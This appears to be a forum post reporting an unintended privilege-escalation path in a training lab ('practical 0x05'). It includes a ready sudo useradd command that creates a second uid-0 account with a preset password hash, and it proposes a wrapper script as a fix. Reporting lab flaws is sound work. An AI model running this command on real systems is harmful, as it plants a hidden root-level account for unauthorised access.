[Spoiler] Unintended PE in practical 0x05

[dguerri]

Level 2 and 3 of practical 0x05 have an unintended PE, which makes Level 3 super-easy.

I think the track is build around the assumption that useradd cannot add a user with an uid of another, existing, user. The -o can be used to override the default behaviour.

In fact, useradd can be used to create another user with uid = 0.
useradd is immediately available with sudo to lowpriv in level 3.

sudo /usr/sbin/useradd -o -u0 -g0 pippo -p'$6$VvzgBiRBElFtkhuo$qQUqEpRNc52e7UjGvePP2jGyDdkBPqvINkOT2yRdLhfZBGinVi50O2ex0yEYnYpPW/Rj51QIY/uADOcToIDnU0'

A possible solution could be to allow sudo only for a wrapper script, which controls what users can be created.